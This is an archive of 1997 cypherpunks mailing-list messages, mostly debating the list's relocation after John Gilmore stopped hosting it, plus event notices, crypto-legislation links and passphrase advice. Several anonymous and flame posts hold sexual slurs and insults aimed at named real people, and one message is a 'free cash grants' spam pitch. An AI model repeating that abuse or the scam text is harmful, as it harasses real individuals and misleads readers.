subscribe, has long since become irrelevant.

It may be a target for spammers, but it's hard to imagine it being much
worse than what we have now.

Usenet is an anarchy. We might as well use it.

I've never created an alt group, but I presume many of you have (and I know
of one currently fed up Cypherpunk who created the entire alt.* hierarchy a
decade or so ago). I presume some of you can thus help in such an effort.

--Tim May






Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 06:53:36 -0800 (PST)
To: cryptography@c2.net
Subject: DCSB: Online Government & Electronic Commerce - Legislation andPublic Sector Initiatives
Message-ID: <v0300783eaf2631f82d7e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


                 The Digital Commerce Society of Boston

                              Presents
                       Daniel Greenwood, Esq.
                       Deputy General Counsel
                  Information Technology Division
                   Commonwealth of Massachusetts

             "Online Government & Electronic Commerce -
              Legislation and Public Sector Initiatives"



                        Tuesday, March 4, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA


Dan will give us an update on recent information age legislative and
operational developments in the public sector.  Special attention will be
paid to: Electronic Signature and Record Legislation; Joint
Government/Private Sector Attempts to Set Certification Authority
Standards; Cutting Edge Public Sector PKI Projects; Recent Coordinated
State-Federal-Foreign Electronic Commerce Policy Initiatives; and much,
much more . . .

Speaker:
Daniel Greenwood, Esq.
Information Technology Division, Deputy General Counsel
Commonwealth of Massachusetts
Office: http://www.state.ma.us/itd/legal
home: http://www.tiac.net/biz/danielg

Mr. Greenwood practices information technology law for the Commonwealth
of Massachusetts.  Recent relevant activities include:
* Co-Author of the Draft 1997 Mass. Electronic Records and Signature Act
* Chairman of the Commonwealth of Mass. PKI Task Force
* Chairman of the ABA Info. Security Comm., Legislative Sub-Committee
* Co-Chair of the ABA Cyberspace Law Comm., Legislative Work Group
* Contributing Author: ABA Digital Signature Guidelines
* Negotiator of Contracts for Internet Security and Payment Systems
* Board Member of SigNet.Org and Chair of Legal Special Interest Group
* Director of the Virtual State House Project (MIT/Stanford Law School)
* Faculty Member: MCLE Health Care & Info. Technology Program
* Guest Lecturer for Suffolk Law School High Tech. Symposium
* Selection Board Chairman for First Commonwealth of Mass. C/A Business


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, March 4, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, March 1, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

March  Daniel Greenwood  The Role of State Government in Digital Commerce
April  Stewart Baker     Encryption Policy and Digital Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

Looking forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 11 Feb 1997 09:46:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spamming the list
Message-ID: <199702111742.JAA23513@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


When Derogatory Virus K]ankersore[OfTheMoment's mother gave birth to
him after fucking with a bunch of sailors, she didn't know who the
father was but decided to tell him that he was a Russian as the
Russian sailor was the one who satisfied her the most.

          o/ Derogatory Virus K]ankersore[OfTheMoment
         <|
         / >






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 11 Feb 1997 10:02:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Suggestion for the future of the list
Message-ID: <3.0.32.19970211100117.006eea18@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


o Make the list a newsgroup "alt.cypherpunks". This will alleviate any
concerns about one party taking control of the list. Good filters exist and
the newsgroup can be read via Deja News, etc.

o For those using remailers or those unable to post to newsgroups, create a
mail-to-news gateway at cypherpunks@toad.com.

OK, how will take the fist step and newsgroup alt.cypherpunks?





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: antony@mail99.com
Date: Tue, 11 Feb 1997 11:04:00 -0800 (PST)
To: antony@mail99.com
Subject: FREE CASH GRANTS
Message-ID: <199702111811.KAA13656@belize.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


We Have Over 150 Private Foundations In Our Program All Over the
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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(For check payments, tape check to the bottom and fax)

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or MAIL TO:

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Please match my financial needs & requirements with the most suitable
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> 



C.N. Enterprises
PO Box 15131
San Diego, CA 92175
(619) 685-5550 Office 	
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


----------------------- Headers --------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Tue, 11 Feb 1997 08:46:39 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111340.FAA18603@toad.com>
Message-ID: <vpbu9r9tqj.fsf@grendel.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> John Gilmore writes:

JG> Sandy has agreed to continue moderation through the end of the
JG> original 1-month experiment (through Feb 19).  And it's a good
JG> thing, too, because the "cypherpunks community" had better get off
JG> its whining butt in the next ten days, or it will no longer exist.

[...]

JG> This is a "put up or shut up" to the cypherpunks community.

	This appears to be as good a time as any to announce that I'm
"putting up".  I've already taken steps, along with Jim Choate, to
start a network of majordomos hosting a Cypherpunks mailing list.  I
didn't intend to announce this until Jim and I had gotten the first
pair of 'domos working properly, but this means that we'll need to
speed things up.  Our intention is to have a set of majordomos which
are intersubscribed to a cypherpunks list on each one, with measures
taken to ensure that mail loops don't develop.  As the resulting
mailing list from each 'domo will be identical, periodically
(initially weekly), the subscriber lists of all of the participating
majordomos will be compared, with any duplicate subscribers being
removed from the 'domo(s) with the longest subscriber list.  There
will be no filtering done of any mail to the collective list, although
anyone interested in providing a filtered list will be welcome to
subscribe to the list.  Anyone interested in joining the 'domo network
with the conditions described (duplicate subscriber checking and no
filtering) is welcome.

	John, I'd appreciate your permission to use your Cypherpunks
welcome message as the basis for the welcome message of this new list.
Also, while we will make every effort to have this new list available
for subscriptions by Feb 20, I'd appreciate it if you could consider
making the current list available for a short period longer if we
encounter unanticipated difficulties.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
ObCDABait:      For she doted upon their paramours, whose flesh is as the
flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
ObFelony: President Clinton, you suck, and those boys died!
Unsolicited bulk email will be stored and handled for a US$500/KB fee.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Tue, 11 Feb 1997 08:48:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Digital Signature Legislation (MN)
Message-ID: <3300a2cc0a96002@noc.tc.umn.edu>
MIME-Version: 1.0
Content-Type: text/plain


Minnesota Legislature has a bill pending in both houses regarding
digital signatures, defines certification authorities, and provides
for licensing of authorities.

http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=H0056.0&session=ls80
http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=S0173.0&session=ls80

A quick read looks good, although I am not a lawyer. This only affects
digital signatures used in financial transactions, AFAIK, and does
not prohibit non-licensed cert authorities.


-- 
Kevin L. Prigge                     | Some mornings, it's just not worth
Systems Software Programmer         | chewing through the leather straps.
Internet Enterprise - OIT           | - Emo Phillips
University of Minnesota             |




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 11 Feb 1997 10:56:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cocksucker Gilmore's Big Adventure
In-Reply-To: <199702111340.FAA18603@toad.com>
Message-ID: <199702111854.KAA28289@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

 > Sandy hit a pothole in the moderation experiment when Mr.
 > Nemesis submitted a posting containing nothing but libelous
 > statements about Sandy's employer.  He never anticipated
 > that he wouldn't be able to follow his announced "post it to
 > one list or the other" policy because to do so would make
 > him legally liable (in his opinion; he's a lawyer, I'm not).
 > His gears jammed, and the whole machine came to a halt for a
 > few days.

A person who has a fiduciary responsiblity to act in the best
interests of some corporate entity should not be moderating a
mailing list where said entity and its various products might be
discussed.

This is called "conflict of interest." Your eagerness to leap
into moderated mode by fiat would better have been preceeded by
one or two clues.  But then, if you were a particularly clueful
person, you would not have made a fool of yourself by forcibly
unsuscriving Dr. Vulis in the first place, and precipitating the
chain of events that resulted in the current meltdown.

 > Sandy has agreed to continue moderation through the end of the
 > original 1-month experiment (through Feb 19).  And it's a good
 > thing, too, because the "cypherpunks community" had better get
 > off its whining butt in the next ten days, or it will no longer
 > exist.

Ten days notice to relocate a high volume mailing list is
insufficient.  This is yet another ultimatum by a whining coward
who does not yet realize he is in a battle he is not going to win
by escalation of reciprocal pissing.

 > I've come to the conclusion that I'm not willing to host the
 > cypherpunks list any more.

And we've all come to the conclusion that you are a flaming prat
prone to irate temper tantrums.  Big surprise.

You know, I've always been a big non-fan of John Gilmore.  I know
you're the co-founder of the EFF and the alt Usenet hierarchy,
and a well-known and respected mouthpiece on the topics of
communications policy, censorship, privacy, and free speech in
certain circles.

But almost every single piece of private communication I've seen
from you has given me the impression that you are an arrogant
self-centered nasty little excuse for a man, unwilling to listen
to any opinion that doesn't agree with your own, and quite
willing to heap any amount of ridicule and derision on
dissenters, while trying at the same time to blame them for your
behavior.

In short, a person I would avoid like the plague in real life,
and tolerate only rarely through the insulation of an IP
connection.

 > A large fraction of the list seems to think that "freedom
 > of speech" means that everyone is required to listen to
 > everyone else at all times.  That there can't be focused,
 > topical conversations in a society that has freedom of
 > speech.

Speak for yourself, John.  You obviously have no idea what or who
"Cypherpunks" are, and you are the last person on the face of the
earth who should be making proclamations about what "a large
fraction of the list" thinks.

 > There also seems to be a misunderstanding that freedom of
 > speech requires that people who want to speak already have a
 > place, set up and maintained by someone else, for them to
 > speak in.  If someone who's set up a speech-place decides it
 > isn't being used for its intended purpose, then they are a
 > censor, stopping all possibility of conversations.

There is a fundamental difference between choosing not to provide
a forum for someone to speak in, and in providing a forum for a
long period of time and then deciding one day to kick the podium
out from under the speaker in mid-sentence, or to edit the
speakers comments before distributing them.

 > Either you list denizens will, among yourselves, put in the
 > energy to build a new home for the list (and run it in
 > whatever way your volunteers want) by Feb 20, or the list
 > will cease to exist on Feb 20.

Gilmore the little dictator speaks again.

 > Sandy reports that he's changing his criteria for
 > moderation for the remainder of the experiment.  It was his
 > idea, and I approve.  The criteria now are:

Another sudden change in the topic of the list by fiat with no
discussion possible.  You should be ashamed of yourself for even
attaching the name "Cypherpunks" to this travesty of yours.  Why
not change the name to GilmorePunks, CocksuckerPunks, ToadyPunks,
or something more descriptive?

 > For me it's a sad thing that the community's willingness to
 > pull together has degenerated to the point where I feel
 > better off separating from the list.  I hope that others in
 > the community will create one or several alternatives that
 > work better.

Piffle.

 > John ["Cocksucker"] Gilmore

Your reputation capital is into the negative numbers now.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 11 Feb 1997 08:01:37 -0800 (PST)
To: jer+@andrew.cmu.edu (Jeremiah A Blatz)
Subject: Re: Passphrase generation
In-Reply-To: <199702111426.GAA19838@toad.com>
Message-ID: <199702111558.KAA01013@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


You want to think about how does someone attack the passphrase?

Essentially, there are dictionary methods, where probably passphrasess
are checked.  These are enhanced by the use of changers, where the
word is modified in ways common to people changing passwords:

target
Target
targeT
target0
0target
target1

Crack, by Alex Muffet, produces on the order of 1000 derived words per
word its given.

I use phrases of 30-90 pink elephants with some arbitrary pizzas tossed on
the floor.

Adam


Jeremiah A Blatz wrote:
-- Start of PGP signed section.
| Internaut <unde0275@frank.mtsu.edu> writes:
| > Hi,
| > I am wanting to learn how to generate a passphrase that is at least as
| > strong as the IDEA algorithm.  I have looked several other places on the
| > web for an answer to this, but they all had different things to say that
| > didn't add up (no pun intended :).
| 
| Chech out the cannonical passphrase FAQ:
| http://www.stack.nl/~galactus/remailers/passphrase-faq.html
| 
| This one has some quick reminders of what to do and not to do
| http://www.encryption.com/pphrase.htm
| 
| Bottom line, totally random ASCII will have lots of bits per
| character, but english has about 1.2 bits per character. Misspellings
| can add to that, depending on the extent of mutillation . Combining
| certain words can make your passphrase weaker (such as "To be or not
| to be," "This is my passphrase," etc.).
| 
| HTH,
| Jer
| 
| "standing on top of the world/ never knew how you never could/ never knew
|  why you never could live/ innocent life that everyone did" -Wormhole
-- End of PGP signed section.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Tue, 11 Feb 1997 10:26:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Pending Attack on Mailmasher and Pseudonymous Posting
Message-ID: <199702111824.LAA20739@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


One of the denizens from alt.flame (wotan@databasix.com / wotan@netcom.com) 
is on a personal crusade to get the Mailmasher pseudonym server shut down, 
claiming that it was "abused" by accepting "forgeries".  As you'll recall, 
the pretext of "abuse" was conveniently used my the CoS to get several 
remailers shut down.

Let's not let the enemies of privacy win this one!  Here's how William
McClatchey, aka "Wotan", concluded his post:

> Well, I was nice and polite when the forgeries began.  I sent toxic a 
> nice message asking that he disable the abitlity to forge wotan@databasix 
> and wotan@netcom.  That appears to be too hard for him.  He gets his 
> access from mci.
>
> I encourage anyone who is being forged due to the deliberate negligence 
> on toxic's part to write hotwired and MCI asking that mailmasher be shut 
> down until it can longer be used to commit forgeries.

Mr. McClatchey (Wotan) is certainly well aware that you can't detect 
"forgeries" without positive proof of a person's identity, which would defeat 
the entire purpose of posting anonymously/pseudonymously.  And to "disable the 
ability to forge" e-mail addresses is well beyond the scope of Mailmasher, 
since it's as easy to do as changing the settings in Netscape, Eudora, etc.  
His demands are like asking the USPS to make sure that the return address you 
put on each envelope you mail is your own!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 11 Feb 1997 21:31:03 -0800 (PST)
To: softwinter@post1.com (SoftWinter)
Subject: Re: Shade Disk Encryptor for NT Registration key
In-Reply-To: <199702111903.VAA06693@csts.co.il>
Message-ID: <3.0.1.32.19970211113553.00681938@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>SoftWinter Support
>softwinter@post1.com
>http://softwinter.bitbucket.co.il

Shade looks like an interesting product,
and anything that fits into 64K these days
(even if that is the size of the zip file) deserves some respect :-)

For cypherpunks - it's using MDC as its crypto algorithm,
with 160-bit SHA as the hash.  I can't tell if that's the original
SHA or the revised SHA-1.  The readme.txt is adapted from Peter
Gutmann's MDC documentation.   The demo version runs for 21 days,
and doesn't do encryption, so perhaps the real thing is a bit larger.
List price is $149 US.

I couldn't get it to run - I'm using NT 3.51, which you haven't tested
it on, rather than NT 4.0; it complained about not being able to find
Image_List_SetImageCnt in COMCTL32.dll or something like that.
Perhaps that's related to not having installation instructions with the demo?
there's a SecDisk.sys that looks like it wants something done with it...
Or perhaps it's just a 3.51 vs. 4.0 difference.  Oh, well...

	> Shade allows you to create encrypted disk device inside a file.
	> Such a device can then be formated using any file system
	> (like NTFS or FAT) and used as a regular disk. The only difference
	> is that Shade will encrypt the data on every write operation
	> and decrypt it on every read operation.

I assume it's possible to use this for TEMP directories for
applications like word processors.  I'm not sure I'd want to use
it for swap, but do you know if that would work?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 08:45:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: STE_pup
Message-ID: <1.5.4.32.19970211163947.006cc8bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-10-97:

"Euro's creation raises money laundering fears"

  OECD task force report(*) identifies perils of a
  single currency and suggests Russian crime groups
  are linking up with the Mafia and Colombian drug
  cartels for laundering the new currency. Warns of other
  e-cash hazards.

"Visa to Test Cards For Possible Use On the Internet"

  E-cash cards to be manufactured by Schlumberger and
  will use  "virtually unbreakable" public-key cryptography.

"Computer Security Becomes Biometric With Print Matching"

  Oracle's new fingerprint checking device to assure bona fide
  log-on privileges. Covers other such devices, quotes a maker:
  "if criminals or hackers get through these, industry will
  step up one more level."

-----

STE_pup

* A search is on for the report. Leads welcomed. The task force
met last week in Paris.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 11:42:21 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <v03007805af267b48b589@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
>If the people decide for creation of a new USENET newsgroup,
>we need to think very hard about actually moving it to a different
>hierarchy from alt.*. I would propose comp.org.cypherpunks,
>comp.cypherpunks, sci.crypt.cypherpunks or something like that.
>
>A comp.* or sci.* newsgroup, if created, has the following advantages
>over an alt.* newsgroup:
>
>1) There is usually less spam in sci.* or comp.*
>2) There are virtually no completely irrelevant flamewars
>3) The propagation will be a lot better
>4) More people will be able to read it because of the issue of providers
>   not carrying alt.*.
>
>I see nothing that would make a sci.* or comp.* newsgroup  worse than
>alt.* newsgroup.

Sure, and this has come up in every past discussion of creating
"alt.cypherpunks."

But the creation of alt.cypherpunks is _easy_, and needs little permission
or support, whereas the creation of "soc.culture.cypherpunks" or whatever
takes work, requires a vote, blah blah blah. And so it never gets off the
ground.

(Nor is it clear to me, and perhaps not to others, that it belongs in the
the various places Igor mentioned. Comp.org.cypherpunks probably is the
best fit, but then many would cite the "comp" part to try to insist that
only _computer_ topics be discussed. Likewise, the "soc" domain would skew
discussion...etc. "Alt" has the nice advantage of explicitly not be part of
sci, or comp, or soc, or even talk.)

Since posting my comments I've just seen the proposal that tivoli may host
a list. Fine with me. But I wonder how long Tivoli and its parent company,
IBM, will tolerate such things as postings of dumpster divings at Mykotronx
and RSADSI, of deliberate slams against Tivoli products (a la the case John
Gilmore referred to this morning), postings about assassination markets,
and so on.

I still feel that the time has come to move virtual forums such as ours out
of U.S. jurisdictions. Given that most European nations are worse in some
ways (no Holocaust denial posts allowed in "cypherpunks@foobar.de"?), I
recommend the alt.cypherpunks as the best overall compromise.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 11 Feb 1997 11:49:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: GAK
Message-ID: <199702111949.LAA27190@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] May is just a poor excuse for an unschooled, 
retarded thug.

      <o      o>  Tim C[ocksucker] May
      /-+-- --+X
     />        <\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 11:56:34 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: List!  No Way: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <v03007806af267e566d3d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:11 PM +0000 2/11/97, Attila T. Hun wrote:

>    tim:
>
>    two points you make:
>
>    1.  the propogation is slow...
>
>    2.  some sites do not carry alt. groups
>
>    are enough to kill an active discussion list. of course, it does
>    slow down excessive volume.

Good points. However, I'm used to fairly robust debate on Usenet, and the
prop delay does not seem too stifling to me. As you note, it cuts down on
immediate replies; this may not be a bad thing.

I see any site which can be identified with a corporate or institutional
entity--like C2Net, toad, Tivoli, Primenet, Netcom, whatever--being
targetted if a controversial mailing list is hosted at that site.

(This may not have been the case when the list was full unmoderated, and
was only a "reflector" or exploder of incoming messages. As soon as a
moderator started passing on some messages and rejecting others, the
precedent was set (somewhat) for charges that a site or sysadmin is now
liable. This has not been tested in court, of course, but I fear this is
how things will go. As I mentioned in another message, had the traffic in
alt.religion.scientology instead flowed through a site such as
"scientology@primenet.com," the operators of Primenet and the sysadmin of
that mailing list almost certainly would have received "decease and cyst"
orders. Remember that Netcom was hit with similar orders. Usenet cannot be
stopped in this way. A major strength.)



>    I vote we just set up a new majordomo with some additional antispam
>    filters including knocking out exploding mail headers, etc. I would
>    accept excluding non-members as long as we take the remailers which
>    are listed with either JP or RL.

This is a suggestion I have long thought to be a good one. Only allow posts
from list subscribers, and make a special exception for remailers by adding
them to the approval list. Figure if a spammer is smart enough to know what
a remailer is, at least see her traffic for a while. Drop the inclusion of
remailers if volume is too high.

(Or, put remailer messages in a special place. An ftp or Web site, for
retrieval. Or  have list members "vet" the remailed messages, as someone
was suggesting a few months back. Or....)

>    Likewise, Jim Choate and Sten Drescher apparently are trying to
>    establish a multi-site majordomo.  the extra work of maintaining
>    non-duplicates and sychronization makes the task non-trivial and
>    questionable...

Yeah, it seems to be one of those potentially good ideas that will just
never get done, due to the difficulties, the maintenance, and the press of
other projects. (And even if it gets done, which I hope for of course, I
doubt many of us will want anything with added complexity, new commands for
our posting software to deal with, etc. So, it will have to look just like
an ordinary mailing list, with the mirroring handled transparently.)

(Speculation: Isn't some of this talk about distributed mailing list sites
and mirroring beginning to echo the structure of FidoNet?)

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Tue, 11 Feb 1997 12:21:57 -0800 (PST)
To: "'Timothy C. May'" <cypherpunks@toad.com
Subject: RE: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <88CE23A0B727D0118BB000805FD47524DE137D@RED-81-MSG>
MIME-Version: 1.0
Content-Type: text/plain


From:	Timothy C. May

- no "unsuscribe" and "unscrive" messages! (It makes it easy for
newcomers
to discover the group, read it for a while, then stop. It also, of
course,
increases the number of "What is crypto?" sorts of messages.)
........................................

In regards to the newbie questions, it occurred to me that it would be
useful to have a FAQ, much shorter than the Cyphernomicon, which would
get some basic questions answered and contain many collected references
& web sites for all the other questions which typically have come up on
the list and would certainly show up in a newsgroup.

Maybe LD could be prevailed upon to write it (he's probably not occupied
doing anything useful, anyway).... :>)

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 10:38:53 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <33008CCE.28E0@gte.net>
Message-ID: <199702111829.MAA17650@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale, can you set up a mailing list server that will participate in the
distributed listserv network?

thank you

igor

Dale Thorn wrote:
> 
> John Gilmore wrote:
> > Sandy hit a pothole in the moderation experiment when Mr. Nemesis
> > submitted a posting containing nothing but libelous statements about
> > Sandy's employer.  He never anticipated that he wouldn't be able to
> > follow his announced "post it to one list or the other" policy because
> > to do so would make him legally liable (in his opinion; he's a lawyer,
> > I'm not).  His gears jammed, and the whole machine came to a halt for
> > a few days.
> 
> Naturally he hit a pothole.  Censorship has its price, and you
> folks just discovered it.  But censors never give up, do they?
> Especially when there are hidden agendas.
> 
> > Sandy has agreed to continue moderation through the end of the
> > original 1-month experiment (through Feb 19).  And it's a good thing,
> > too, because the "cypherpunks community" had better get off its
> > whining butt in the next ten days, or it will no longer exist.
> 
> John Gilmore is so disrespectful of the human beings on this list
> that he whines and complains about their "attitudes", as though
> he had a right to control them.  What a jerk.
> 
> > I've come to the conclusion that I'm not willing to host the
> > cypherpunks list any more.  It's not the true assholes that brought me
> > to this decision; it's the reaction from the bulk of people on the
> > list: suspicion, flamage, and criticism with every attempt to improve
> > things.  I noticed few people volunteering some of their own time,
> > money, or machines to help out.  Almost all the suggestions were
> > advice for *other* people to implement:
> 
> Not willing because of some additional burden?  No.  It's because you
> were outed as a censor and a jerk, and you can't get back the respect
> you previously had.  The sour grapes you're displaying here are worthy
> of a little child, not an adult.
> 
> > Now each of these posters will get their chance to do it "right" --
> > on their own time and with their own resources.
> 
> Read: I'm gonna take my bat and ball and go home...
> 
> > A large fraction of the list seems to think that "freedom of speech"
> > means that everyone is required to listen to everyone else at all
> > times.  That there can't be focused, topical conversations in a
> > society that has freedom of speech.  I would say the opposite; part of
> > freedom of speech is the freedom to choose to whom we speak and to
> > whom we listen.  This is part of what cryptography does: lets us
> > control who can receive our speech, and lets recievers determine who
> > the speaker is.
> 
> Everything was fine until you decided to screw it up.  Then your
> emotional, denying little brain trys to blame it on everyone else.
> 
> > There also seems to be a misunderstanding that freedom of speech
> > requires that people who want to speak already have a place, set up
> > and maintained by someone else, for them to speak in.
> 
> There are places to speak, and people try to speak in those places.
> When they are cut off, then they complain.  Nobody complained before
> you had an open forum that you weren't providing same.  That's your
> denial kicking up, not mine.
> 
> > If someone
> > who's set up a speech-place decides it isn't being used for its
> > intended purpose, then they are a censor, stopping all possibility of
> > conversations.  Did you forget that there are millions of other places
> > to speak in cyberspace, millions more in realspace, and that you can
> > personally create more if you don't like any of the ones you know about?
> 
> Intended purpose?  Did you really believe that setting up an open
> forum gave you the right (or any option) to control the content?
> Are you so immature that you can't handle complaints?
> 
> > To paraphrase Zappa, you wouldn't know censorship if it bit you on the
> > ass.  You think you're being censored when you're just being excluded
> > from a forum because what you're saying isn't interesting to that forum.
> 
> I know a lot of things, especially after they've bit be in the ass.
> Especially about censors and CIA-related trolls like yourself, who
> set up forums to collect info on unsuspecting American citizens.
> Made any "yeti" expeditions lately?
> 
> > So anyway, I'm tired of it all.  I'd much rather focus on getting my
> > crypto work done than babysitting majordomo, tracking down attempts to
> > subscribe the entire US Congress to the list, and debating the seventy
> > or eighty "obvious right ways" to handle the list.
> 
> Read: I need to find a new troll that's not being sabotaged by
> alert citizens.
> 
> > This is a "put up or shut up" to the cypherpunks community.
> > Either you list denizens will, among yourselves, put in the energy to
> > build a new home for the list (and run it in whatever way your
> > volunteers want) by Feb 20, or the list will cease to exist on Feb 20.
